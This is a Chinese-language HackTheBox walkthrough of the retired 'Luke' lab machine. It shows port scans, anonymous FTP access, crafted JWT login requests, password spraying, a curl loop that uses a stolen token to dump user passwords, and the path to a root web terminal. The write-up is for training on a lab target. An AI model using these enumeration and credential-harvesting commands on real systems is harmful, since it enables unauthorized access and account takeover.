zoukankan      html  css  js  c++  java
  • HTB-靶机-Luke

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.137

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.137 -o ./Luke-autorecon

    也可以使用官方的方法进行快速的扫描

    masscan -p1-65535 10.10.10.137 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.137
    或者
    nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.137
    nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.137

    开放了21,22,80,3000,8000端口,我们一个一个端口来试试

    21端口已经扫描出来可以匿名登录了, 直接匿名登录下载文件

    根据上面得描述得知目标靶机有两个用户给Chihiro, Derry ,并且删除了相关的安全策略,22端口爆破我们就不试,看下80端口

    访问页面正常,没发现啥东西,常规套路爆破下看看

    gobuster dir -u http://10.10.10.137/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401"

    得到了重要的目录,我们访问一把

    其中uri地址member,management访问需要认证,我使用上面数据库得到的密码登录但不成功,我们继续看开放的3000端口,同样使用gobuter爆破

    gobuster dir -u http://10.10.10.137:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401"
    或者
    wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.137:3000/FUZZ --hc 404

    可确认存在uri地址login和users,分别使用burpsuite进行访问看看结果

    根据上面的显示结果,是需要账号和密码进行认证的,看响应的头信息,可能使用jwt方式进行认证, 可以通过https://jwt.io/ 查看jwt的加密算法

    我们试试通过jwt的提交方式构造请求猜测用户名和密码,可以使用下面两种方式构造

    POST /login HTTP/1.1
    
    Host: 10.10.10.137:3000
    User-Agent: curl/7.68.0
    Accept: */*
    Content-Type: application/json
    Content-Length: 41
    Connection: close
    
    
    {"username":"luke","password":"password"}
    
    或者
    
    curl http://10.10.10.137:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' | jq .

    上面的反馈可以知道确实就是jwt格式的方式请求认证,那么我们就使用上面访问数据库得到的账号和密码进行测试,经过不断测试,发现可以通过密码喷洒的方式尝试猜测用户名是哪个,经过猜测尝试发现admin用户是可以成功通过认证,并获取目标靶机登录成功的认证token

    或者

    得到认证成功的token之后直接拿着这个token访问uri地址users遍历所有用户,具体格式可以参考下面的链接得知获取到token之后可以使用下面的方式进行构造请求

    https://gist.github.com/narenaryan/4d03bb4ccda5bb634a3cb5c51f5e79a7

    遍历出目标靶机的用户名的密码
    
    for user in admin derry yuri dory; do curl http://10.10.10.137:3000/users/${user} -H "authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjE3MzM0MjEyLCJleHAiOjE2MTc0MjA2MTJ9.8fATcRXrT9tMiZCigtV5dq3zK3wrdtBbdbiJuymDfQM"; echo; done
    {"name":"Admin","password":"WX5b7)>/rp$U)FW"}
    {"name":"Derry","password":"rZ86wwLvx7jUxtch"}
    {"name":"Yuri","password":"bet@tester87"}
    {"name":"Dory","password":"5y:!xa=ybfe)/QD"}

    拿着上面的用户和密码去尝试登录地址:http://10.10.10.137/management

    最终确认可以通过  {"name":"Derry","password":"rZ86wwLvx7jUxtch"} 能成功登录,并发现如下信息

    那么根据上述信息,刚好目标靶机开放了8000端口,并且是web页面,我们使用root账号和上面的密码进行登录

    成功登录并新建一个terminal

    进入此terminal发现是root权限,那么可以直接读取root.txt和user.txt

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    10 种保护 Spring Boot 应用的绝佳方法
    Redis 如何分析慢查询操作?
    Spring Boot 主类及目录结构介绍
    Redis 再牛逼,也得设置密码!!
    Spring Data Redis 详解及实战一文搞定
    Spring Boot Redis Cluster 实战干货
    超详细的 Redis Cluster 官方集群搭建指南
    Redis Linux 安装运行实战全记录
    hdu 4790 Just Random (思路+分类计算+数学)
    poj 1328 Radar Installation(贪心)
  • 原文地址:https://www.cnblogs.com/autopwn/p/14610481.html
Copyright © 2011-2022 走看看